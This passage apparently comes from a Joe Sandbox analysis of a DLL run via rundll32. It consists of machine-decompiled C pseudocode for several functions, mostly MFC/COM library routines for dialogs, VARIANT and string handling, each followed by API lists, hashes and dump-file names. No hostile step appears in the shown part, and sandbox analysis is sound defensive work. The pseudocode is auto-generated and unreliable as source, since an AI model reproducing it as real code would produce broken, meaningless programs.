								if( *(_t196 - 0x28) != 0) {
									_push( *((intOrPtr*)(_t196 - 0x2c)));
									_push(0);
									E6EB53579();
								}
								goto L55;
							}
							_t188 =  *(_t196 - 0x30);
							do {
								__imp__#9(_t188);
								_t160 =  *(_t196 + 0x14);
								_t192 = _t192 + 1;
								_t188 =  &(_t188[0x10]);
								__eflags = _t192 -  *((intOrPtr*)(_t160 + 8));
							} while (_t192 <  *((intOrPtr*)(_t160 + 8)));
							goto L29;
						}
						_t161 =  *(_t196 - 0x24) & 0x0000ffff;
						_push(_t187);
						_push(_t194);
						_push( *(_t196 - 0x20));
						 *(_t196 - 4) = 2;
						__eflags = _t161 - 4;
						if(_t161 == 4) {
							E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x34)) = _t205;
							 *((intOrPtr*)(_t196 - 0x44)) =  *((intOrPtr*)(_t196 - 0x34));
							L25:
							 *(_t196 - 4) = 1;
							goto L26;
						}
						__eflags = _t161 - 5;
						if(_t161 == 5) {
							L23:
							E6EB634B4();
							 *((long long*)(_t196 - 0x44)) = _t205;
							goto L25;
						}
						__eflags = _t161 - 7;
						if(_t161 == 7) {
							goto L23;
						}
						__eflags = _t161 + 0xffffffec - 1;
						if(_t161 + 0xffffffec > 1) {
							_t176 = E6EB634B4();
						} else {
							 *((intOrPtr*)(_t196 - 0x44)) = E6EB634B4();
							 *((intOrPtr*)(_t196 - 0x40)) = _t185;
						}
						goto L25;
					}
					L12:
					 *(_t196 - 4) =  *(_t196 - 4) | 0xffffffff;
					__eflags =  *(_t196 - 0x28) - _t187;
					if( *(_t196 - 0x28) == _t187) {
						goto L7;
					}
					_push( *((intOrPtr*)(_t196 - 0x2c)));
					_push(_t187);
					goto L6;
				}
				_t19 = _t191 + 3; // 0x3
				_t187 = _t19;
				_push(_t19);
				if(E6EB48E82(_t176, _t185, _t19, _t191, _t202) != 0) {
					E6EB66B00(_t187);
					 *(_t196 - 0x10) = _t197;
					_t189 = _t197;
					_t26 = _t191 + 3; // 0x3
					E6EB48D02(_t189, _t191, _t189, _t26,  *(_t196 - 0x18), _t191);
					_t172 = _t176[0xc] & 0x0000ffff;
					_t197 =  &(_t197[0x10]);
					 *(_t196 - 0x18) = _t189;
					__eflags = _t172 - 8;
					if(_t172 == 8) {
						_t172 = 0xe;
					}
					 *(_t196 - 0x24) =  *(_t196 - 0x24) & 0x00000000;
					_t189[_t191] = 0xff;
					_t195 = _t191 + 1;
					_t189[_t195] = _t172;
					_t189[_t195 + 1] = 0;
					 *(_t196 - 0x20) = _t176[0x14];
					_t187 = 0;
					__eflags = 0;
					goto L11;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6EB618EF
lstrlenA.KERNEL32(00000000,000000FF,00000050,6EB5773E,00000000,00000001,?,?,000000FF,?,?,?,?,?,?,00000034), ref: 6EB61921

Part of subcall function 6EB48D02: _memcpy_s.LIBCMT ref: 6EB48D13

_memset.LIBCMT ref: 6EB619F1
VariantClear.OLEAUT32(?), ref: 6EB61ACB

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ClearH_prolog3_catch_Variant_memcpy_s_memsetlstrlen
String ID:
API String ID: 4021759052-0
Opcode ID: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction ID: c189e2b35279221955644123bca8a9d00878fd16c5b6bbdc86a0bbf9f7a4743f
Opcode Fuzzy Hash: 533be16d970fe85f918d449a943b6315c2bc6ce99f7c7a9e16b8f0675cb6a6e1
Instruction Fuzzy Hash: BCA15731C0068ADBCF01CFE9C8846EEBFB4FF05314F188659E528A7290D7359A59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5E2A5 Relevance: 9.2, APIs: 6, Instructions: 180
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 73%

			E6EB5E2A5(void* __ebx, intOrPtr __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t83;
				intOrPtr* _t84;
				intOrPtr _t85;
				intOrPtr* _t86;
				intOrPtr _t99;
				intOrPtr* _t119;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr* _t124;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t141;
				intOrPtr* _t147;
				void* _t156;
				intOrPtr _t158;
				intOrPtr* _t159;
				void* _t160;
				intOrPtr _t172;

				_t155 = __edi;
				_push(0x10);
				E6EB664FB(0x6eb7812e, __ebx, __edi, __esi);
				_t158 = __ecx;
				 *((intOrPtr*)(_t160 - 0x1c)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x6eb7b754;
				 *(_t160 - 4) = 0;
				if( *((intOrPtr*)(__ecx + 0x58)) == 0) {
					L11:
					while( *((intOrPtr*)(_t158 + 0x24)) != 0) {
						_t155 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x1c)) + 8));
						__eflags = _t155;
						if(_t155 == 0) {
							break;
						}
						_t147 =  *_t155;
						__eflags = _t147;
						if(_t147 == 0) {
							break;
						}
						 *((intOrPtr*)( *_t147 + 0xbc))( *((intOrPtr*)(_t155 + 8)), 0);
						 *((intOrPtr*)( *_t155 + 0x98)) = 0;
					}
					 *((intOrPtr*)(_t160 - 0x18)) = _t158 + 0x18;
					E6EB56691(_t158 + 0x18);
					if( *((intOrPtr*)(_t158 + 0x40)) == 0) {
						L19:
						_t83 =  *((intOrPtr*)(_t158 + 8));
						if(_t83 != 0) {
							 *((intOrPtr*)( *_t83 + 8))(_t83);
						}
						_t84 =  *((intOrPtr*)(_t158 + 0xc));
						if(_t84 != 0) {
							 *((intOrPtr*)( *_t84 + 8))(_t84);
						}
						if( *((intOrPtr*)(_t158 + 0x14)) == 0) {
							L32:
							_t85 =  *((intOrPtr*)(_t158 + 0x34));
							if(_t85 != 0) {
								__imp__CoTaskMemFree(_t85);
							}
							_t134 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CAFC(_t134,  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x50)))));
								E6EB58C4A( *((intOrPtr*)(_t158 + 0x54)));
							}
							_t135 =  *((intOrPtr*)(_t158 + 0x54));
							_t184 =  *((intOrPtr*)(_t158 + 0x54));
							if( *((intOrPtr*)(_t158 + 0x54)) != 0) {
								E6EB5CADB(0, _t135, _t155, _t184, 1);
							}
							_t136 =  *((intOrPtr*)(_t158 + 0x50));
							_t185 =  *((intOrPtr*)(_t158 + 0x50));
							if( *((intOrPtr*)(_t158 + 0x50)) != 0) {
								E6EB5E1E0(0, _t136, _t155, _t185, 1);
							}
							_t86 =  *((intOrPtr*)(_t158 + 0x4c));
							if(_t86 != 0) {
								 *((intOrPtr*)( *_t86 + 8))(_t86);
							}
							_t159 =  *((intOrPtr*)(_t158 + 0x48));
							if(_t159 != 0) {
								 *((intOrPtr*)( *_t159 + 8))(_t159);
							}
							 *(_t160 - 4) =  *(_t160 - 4) | 0xffffffff;
							return E6EB665D3(E6EB567A1( *((intOrPtr*)(_t160 - 0x18))));
						} else {
							 *((intOrPtr*)(_t160 - 0x10)) = 0;
							if( *((intOrPtr*)(_t158 + 0x10)) <= 0) {
								L31:
								__imp__CoTaskMemFree( *((intOrPtr*)(_t158 + 0x14)));
								goto L32;
							}
							_t156 = 0;
							do {
								_t99 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)) + 4));
								 *((intOrPtr*)(_t160 - 0x14)) = _t99;
								if(_t99 == 0) {
									goto L28;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((intOrPtr*)( *((intOrPtr*)(E6EB4ABF2(_t160 - 0x14))) + 0x98)) = 0;
								} while ( *((intOrPtr*)(_t160 - 0x14)) != 0);
								L28:
								E6EB56691( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24)));
								_t141 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + _t156 + 0x24));
								if(_t141 != 0) {
									 *((intOrPtr*)( *_t141 + 4))(1);
								}
								 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 1;
								_t156 = _t156 + 0x28;
							} while ( *((intOrPtr*)(_t160 - 0x10)) <  *((intOrPtr*)(_t158 + 0x10)));
							goto L31;
						}
					}
					_t155 = 0;
					if( *((intOrPtr*)(_t158 + 0x38)) <= 0) {
						L17:
						if(_t172 != 0) {
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x3c)));
							E6EB47CD0(0, _t155, _t158, _t172,  *((intOrPtr*)(_t158 + 0x40)));
						}
						goto L19;
					}
					 *((intOrPtr*)(_t160 - 0x10)) = 0;
					do {
						__imp__#9( *((intOrPtr*)(_t158 + 0x40)) +  *((intOrPtr*)(_t160 - 0x10)));
						 *((intOrPtr*)(_t160 - 0x10)) =  *((intOrPtr*)(_t160 - 0x10)) + 0x10;
						_t155 = _t155 + 1;
					} while (_t155 <  *((intOrPtr*)(_t158 + 0x38)));
					_t172 =  *((intOrPtr*)(_t158 + 0x38));
					goto L17;
				}
				_t119 =  *((intOrPtr*)(__ecx + 0x50));
				if(_t119 == 0) {
					goto L11;
				}
				_t120 =  *_t119;
				_push(_t160 - 0x14);
				_push(0x6eb7e1d4);
				_push(_t120);
				if( *((intOrPtr*)( *_t120))() < 0) {
					goto L11;
				}
				_t122 =  *((intOrPtr*)(_t160 - 0x14));
				if(_t122 == 0) {
					goto L11;
				}
				_push(_t160 - 0x10);
				_push(0x6eb7e454);
				 *((intOrPtr*)(_t160 - 0x10)) = 0;
				_push(_t122);
				if( *((intOrPtr*)( *_t122 + 0x10))() >= 0) {
					_t126 =  *((intOrPtr*)(_t160 - 0x10));
					if(_t126 != 0) {
						 *((intOrPtr*)( *_t126 + 0x18))(_t126,  *((intOrPtr*)(__ecx + 0x58)));
						_t128 =  *((intOrPtr*)(_t160 - 0x10));
						 *((intOrPtr*)( *_t128 + 8))(_t128);
					}
				}
				_t124 =  *((intOrPtr*)(_t160 - 0x14));
				 *((intOrPtr*)( *_t124 + 8))(_t124);
				goto L11;
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB5E2AC
VariantClear.OLEAUT32(?), ref: 6EB5E370
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E41D
CoTaskMemFree.OLE32(?,00000010,6EB5E49F), ref: 6EB5E42B
ctype.LIBCPMT ref: 6EB5E453
ctype.LIBCPMT ref: 6EB5E461

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: FreeTaskctype$ClearH_prolog3Variant
String ID:
API String ID: 151822039-0
Opcode ID: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction ID: aaec31bd5cd218bba0837d08e817f2a4412580707bac45ea4e1827d99dfa9924
Opcode Fuzzy Hash: 2d2292bba67123e49aa19c0327a777013d95b606755d9a51687c0bf775fdd69e
Instruction Fuzzy Hash: B5710071A006868FDB60DFE4C9D496EBBF6FF48304720486CE5569BB61CB70E895CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52F37 Relevance: 9.1, APIs: 6, Instructions: 136
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E6EB52F37(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t60;
				signed int _t65;
				signed int _t68;
				struct HWND__* _t69;
				signed int _t72;
				signed int _t102;
				void* _t113;
				signed int _t116;
				DLGTEMPLATE* _t117;
				struct HWND__* _t118;
				intOrPtr* _t120;
				void* _t121;

				_t115 = __edi;
				_t113 = __edx;
				_t96 = __ecx;
				_push(0x3c);
				E6EB6652E(0x6eb77903, __ebx, __edi, __esi);
				_t120 = __ecx;
				 *((intOrPtr*)(_t121 - 0x20)) = __ecx;
				_t125 =  *(_t121 + 0x10);
				if( *(_t121 + 0x10) == 0) {
					 *(_t121 + 0x10) =  *(E6EB53D20(0, __edi, __ecx, _t125) + 0xc);
				}
				_t116 =  *(E6EB53D20(0, _t115, _t120, _t125) + 0x3c);
				 *(_t121 - 0x28) = _t116;
				 *(_t121 - 0x14) = 0;
				 *(_t121 - 4) = 0;
				E6EB4F16D(0, _t96, _t116, _t120, _t125, 0x10);
				E6EB4F16D(0, _t96, _t116, _t120, _t125, 0x3c000);
				if(_t116 == 0) {
					_t117 =  *(_t121 + 8);
					L7:
					__eflags = _t117;
					if(_t117 == 0) {
						L4:
						_t60 = 0;
						L26:
						return E6EB665D3(_t60);
					}
					E6EB413B0(_t121 - 0x1c, _t113);
					 *(_t121 - 4) = 1;
					 *((intOrPtr*)(_t121 - 0x18)) = 0;
					_t65 = E6EB60346(0, __eflags, _t117, _t121 - 0x1c, _t121 - 0x18);
					__eflags = _t65;
					__eflags = 0 | _t65 == 0x00000000;
					if(__eflags != 0) {
						_push(_t117);
						E6EB6030A(0, _t121 - 0x38, _t117);
						 *(_t121 - 4) = 2;
						E6EB60266(_t121 - 0x38,  *((intOrPtr*)(_t121 - 0x18)));
						 *(_t121 - 0x14) = E6EB5FF73(_t121 - 0x38);
						 *(_t121 - 4) = 1;
						E6EB5FF65(_t121 - 0x38);
						__eflags =  *(_t121 - 0x14);
						if(__eflags != 0) {
							_t117 = GlobalLock( *(_t121 - 0x14));
						}
					}
					 *(_t120 + 0x44) =  *(_t120 + 0x44) | 0xffffffff;
					 *(_t120 + 0x3c) =  *(_t120 + 0x3c) | 0x00000010;
					E6EB4E26C(__eflags, _t120);
					_t68 =  *(_t121 + 0xc);
					__eflags = _t68;
					if(_t68 != 0) {
						_t69 =  *(_t68 + 0x20);
					} else {
						_t69 = 0;
					}
					_t118 = CreateDialogIndirectParamA( *(_t121 + 0x10), _t117, _t69, E6EB52972, 0);
					E6EB41020( *((intOrPtr*)(_t121 - 0x1c)) + 0xfffffff0, _t113);
					 *(_t121 - 4) =  *(_t121 - 4) | 0xffffffff;
					_t102 =  *(_t121 - 0x28);
					__eflags = _t102;
					if(__eflags != 0) {
						__eflags = _t118;
						if(__eflags != 0) {
							 *((intOrPtr*)( *_t102 + 0x18))(_t121 - 0x48);
							 *((intOrPtr*)( *_t120 + 0x134))(0);
						}
					}
					_t72 = E6EB4C7E6(__eflags);
					__eflags = _t72;
					if(_t72 == 0) {
						 *((intOrPtr*)( *_t120 + 0x11c))();
					}
					__eflags = _t118;
					if(_t118 != 0) {
						__eflags =  *(_t120 + 0x3c) & 0x00000010;
						if(( *(_t120 + 0x3c) & 0x00000010) == 0) {
							DestroyWindow(_t118);
							_t118 = 0;
							__eflags = 0;
						}
					}
					__eflags =  *(_t121 - 0x14);
					if( *(_t121 - 0x14) != 0) {
						GlobalUnlock( *(_t121 - 0x14));
						GlobalFree( *(_t121 - 0x14));
					}
					__eflags = _t118;
					_t54 = _t118 != 0;
					__eflags = _t54;
					_t60 = 0 | _t54;
					goto L26;
				}
				_push(_t121 - 0x48);
				if( *((intOrPtr*)( *_t120 + 0x134))() != 0) {
					_t117 =  *((intOrPtr*)( *_t116 + 0x14))(_t121 - 0x48,  *(_t121 + 8));
					goto L7;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 6EB52F3E
GlobalLock.KERNEL32 ref: 6EB53016
CreateDialogIndirectParamA.USER32(?,?,?,Function_00012972,00000000), ref: 6EB53045
DestroyWindow.USER32(00000000), ref: 6EB530BF
GlobalUnlock.KERNEL32(?), ref: 6EB530CF
GlobalFree.KERNEL32 ref: 6EB530D8

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Global$CreateDestroyDialogFreeH_prolog3_catchIndirectLockParamUnlockWindow
String ID:
API String ID: 3003189058-0
Opcode ID: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction ID: 45c8b611b8f985ac21ac9929e01f0ca74b298b3c97fcdc0276da4e14eb8c71c4
Opcode Fuzzy Hash: 72fd5946d2581fb36bd76d9baf8548350c44e2d31226bfc8497aaaecfaf29138
Instruction Fuzzy Hash: D8518B3191138AEFDF04DFE4C988AEEBFB9AF09314F150829E512A7394CB309A51CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5B7A6 Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6EB5B7A6(void* __eflags, void* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr* _v12;
				char _v16;
				char _v32;
				intOrPtr* _v36;
				intOrPtr* _v40;
				intOrPtr* _v44;
				intOrPtr* _v52;
				intOrPtr* _v56;
				intOrPtr* _v60;
				char _v64;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t49;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t58;
				intOrPtr _t59;
				intOrPtr* _t60;
				intOrPtr _t71;
				intOrPtr* _t73;
				char* _t83;
				intOrPtr* _t84;
				void* _t86;

				_t83 = _a4 + 0xffffff28;
				_t74 =  &_v16;
				E6EB53D6C( &_v16, __eflags,  *((intOrPtr*)(_a4 - 0xbc)));
				if( *((intOrPtr*)(_t83 + 0x88)) == 0) {
					_t71 = _a8;
					__eflags =  *((intOrPtr*)(_t83 + 0x90));
					if( *((intOrPtr*)(_t83 + 0x90)) != 0) {
						L9:
						__eflags =  *((intOrPtr*)(_t83 + 0x9c)) - _t71;
						if( *((intOrPtr*)(_t83 + 0x9c)) != _t71) {
							L22:
							__eflags = _v12;
							if(_v12 != 0) {
								_push(_v16);
								_push(0);
								E6EB53579();
							}
							_t49 = 0;
							__eflags = 0;
							L25:
							return _t49;
						}
						__imp__#9(_t83 + 0xac);
						_t52 =  *((intOrPtr*)(_t83 + 0x50));
						_a4 = 0;
						__eflags = _t52;
						if(__eflags != 0) {
							L12:
							_t74 =  *_t52;
							_t53 =  *((intOrPtr*)( *_t52))(_t52, 0x6eb7e0e4,  &_a4);
							__eflags = _t53;
							if(_t53 < 0) {
								goto L22;
							}
							E6EB65E80(_t83,  &_v64, 0, 0x20);
							E6EB65E80(_t83,  &_v32, 0, 0x10);
							_t58 = _a4;
							_t86 = _t86 + 0x18;
							__eflags = _t58;
							if(__eflags == 0) {
								goto L11;
							}
							_t59 =  *((intOrPtr*)( *_t58 + 0x18))(_t58, _t71, 0x6eb7e0f4, 0, 2,  &_v32, _t83 + 0xac,  &_v64,  &_v8);
							_t73 = __imp__#6;
							_a8 = _t59;
							__eflags = _v60;
							if(_v60 != 0) {
								 *_t73(_v60);
							}
							__eflags = _v56;
							if(_v56 != 0) {
								 *_t73(_v56);
							}
							__eflags = _v52;
							if(_v52 != 0) {
								 *_t73(_v52);
							}
							_t60 = _a4;
							 *((intOrPtr*)( *_t60 + 8))(_t60);
							__eflags = _a8;
							if(_a8 >= 0) {
								 *((intOrPtr*)(_t83 + 0xa8)) = 1;
							}
							goto L22;
						}
						L11:
						_t52 = E6EB48BA4(_t71, _t74, _t83, 0, __eflags);
						goto L12;
					}
					_t74 = _t83;
					_v68 = 2;
					_v64 = _t71;
					_v60 = 0;
					_v56 = 0;
					_v52 = 0;
					_v44 = 0;
					_v40 = 0;
					_v36 = 0;
					E6EB594EA(_t83,  &_v68);
					__eflags = _v44;
					if(_v44 == 0) {
						goto L9;
					}
					_t84 = _v44;
					__eflags = _v12;
					if(_v12 != 0) {
						_push(_v16);
						_push(0);
						E6EB53579();
					}
					_t49 = _t84;
					goto L25;
				}
				if(_v12 != 0) {
					_push(_v16);
					_push(0);
					E6EB53579();
				}
				return 0;
			}

APIs

VariantClear.OLEAUT32(?), ref: 6EB5B849
_memset.LIBCMT ref: 6EB5B87B
_memset.LIBCMT ref: 6EB5B887
SysFreeString.OLEAUT32(?), ref: 6EB5B8C9
SysFreeString.OLEAUT32(?), ref: 6EB5B8D3
SysFreeString.OLEAUT32(?), ref: 6EB5B8DD

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: FreeString$_memset$ClearException@8H_prolog3ThrowVariant
String ID:
API String ID: 320298052-0
Opcode ID: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction ID: d490b131f43938a905d31ec4fed1a635d5391e1ae15fc004e63a2ab533b13b0a
Opcode Fuzzy Hash: 8047e058b71a9ae434effa6834f10616efb215e69596070c04d22e7932cb22a6
Instruction Fuzzy Hash: 57413471D11669FFCF029FE4C884ADDBB79FF08714F10851AF024A6258D73099A0CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB61CD4 Relevance: 9.1, APIs: 6, Instructions: 116
memoryCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB61CD4(void* __edx, void* __eflags, short* _a4, intOrPtr _a8) {
				signed int _v8;
				char _v264;
				char _v268;
				char* _v272;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t41;
				void* _t45;
				short _t46;
				void* _t51;
				intOrPtr _t64;
				intOrPtr _t72;
				void* _t75;
				void* _t95;
				void* _t96;
				intOrPtr* _t97;
				void* _t98;
				short* _t100;
				void* _t101;
				signed int _t105;

				_t95 = __edx;
				_t103 = _t105;
				_t41 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t41 ^ _t105;
				_t72 = _a8;
				_t100 = _a4;
				_push(_t96);
				E6EB65E80(_t96, _t100, 0, 0x20);
				_v272 =  &_v264;
				_t45 = E6EB541FB(_t72, 0x6eb7c140);
				_t97 = __imp__#2;
				if(_t45 == 0) {
					_t77 = _t72;
					_t46 = E6EB541FB(_t72, 0x6eb797c0);
					__eflags = _t46;
					_push(0x100);
					_push( &_v264);
					_t73 = 0xf10a;
					if(_t46 == 0) {
						_t73 = 0xf108;
						__eflags = 0xf10a;
					}
					_push(_t73);
					E6EB53417(_t73, _t77, _t97, _t100);
					 *_t100 = _t73;
				} else {
					_v272 =  *((intOrPtr*)(_t72 + 0xc));
					 *_t100 =  *((intOrPtr*)(_t72 + 8));
					 *((intOrPtr*)(_t100 + 0x10)) =  *((intOrPtr*)(_t72 + 0x10));
					 *((intOrPtr*)(_t100 + 0x1c)) =  *((intOrPtr*)(_t72 + 0x1c));
					_t64 =  *((intOrPtr*)(_t72 + 0x14));
					_t111 =  *((intOrPtr*)(_t64 - 0xc));
					if( *((intOrPtr*)(_t64 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t72,  &_v268, _t97, _t100, _t111))), _t64);
						E6EB41020(_v268 + 0xfffffff0, _t95);
					}
					_t73 =  *((intOrPtr*)(_t72 + 0x18));
					_t113 =  *((intOrPtr*)(_t73 - 0xc));
					if( *((intOrPtr*)(_t73 - 0xc)) != 0) {
						 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _t73);
						E6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				 *((intOrPtr*)(_t100 + 8)) =  *_t97( *((intOrPtr*)(E6EB4922C(_t73,  &_v268, _t97, _t100, _t113))), _v272);
				_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
				_t114 =  *((intOrPtr*)(_t100 + 4));
				if( *((intOrPtr*)(_t100 + 4)) == 0) {
					 *((intOrPtr*)(_t100 + 4)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t114))),  *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t114) + 0x10)));
					_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
				}
				if( *((intOrPtr*)(_t100 + 0xc)) == 0) {
					_t117 =  *((intOrPtr*)(_t100 + 0x10));
					if( *((intOrPtr*)(_t100 + 0x10)) != 0) {
						 *((intOrPtr*)(_t100 + 0xc)) =  *_t97( *((intOrPtr*)(E6EB4922C(0,  &_v268, _t97, _t100, _t117))),  *((intOrPtr*)( *((intOrPtr*)(E6EB53D20(0, _t97, _t100, _t117) + 4)) + 0x64)));
						_t51 = E6EB41020(_v268 + 0xfffffff0, _t95);
					}
				}
				_pop(_t98);
				_pop(_t101);
				_pop(_t75);
				return E6EB63DE0(_t51, _t75, _v8 ^ _t103, _t95, _t98, _t101);
			}

APIs

_memset.LIBCMT ref: 6EB61CF7
SysAllocString.OLEAUT32(00000000), ref: 6EB61D54
SysAllocString.OLEAUT32(00000000), ref: 6EB61D7E

Part of subcall function 6EB4922C: __EH_prolog3.LIBCMT ref: 6EB49233

SysAllocString.OLEAUT32(00000000), ref: 6EB61DD3
SysAllocString.OLEAUT32(00000000), ref: 6EB61E02
SysAllocString.OLEAUT32(00000000), ref: 6EB61E37

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AllocString$H_prolog3_memset
String ID:
API String ID: 842698744-0
Opcode ID: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction ID: eeffa4b921d77cc58957c4dde7453522b22d894132732a8055f13e6458d1bef8
Opcode Fuzzy Hash: 68933fe21b31f9487927ac1e3e5a134f5bdfa81ad80bb4a68db0bb825c45b105
Instruction Fuzzy Hash: C8417F70910289DFCB20DFB4CC80BDEBBB9EF55318F0049A9E59A972A5DB709994CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB487EC Relevance: 9.1, APIs: 6, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB487EC(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t8;
				void* _t14;
				struct HWND__** _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t18, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t17 = _t18;
						_t8 = _t18;
						if(_t18 == 0) {
							L10:
							if(_a4 == 0 && _t18 != 0) {
								_t18 = GetLastActivePopup(_t18);
							}
							_t16 = _a8;
							if(_t16 != 0) {
								if(_t17 == 0 || IsWindowEnabled(_t17) == 0 || _t17 == _t18) {
									 *_t16 =  *_t16 & 0x00000000;
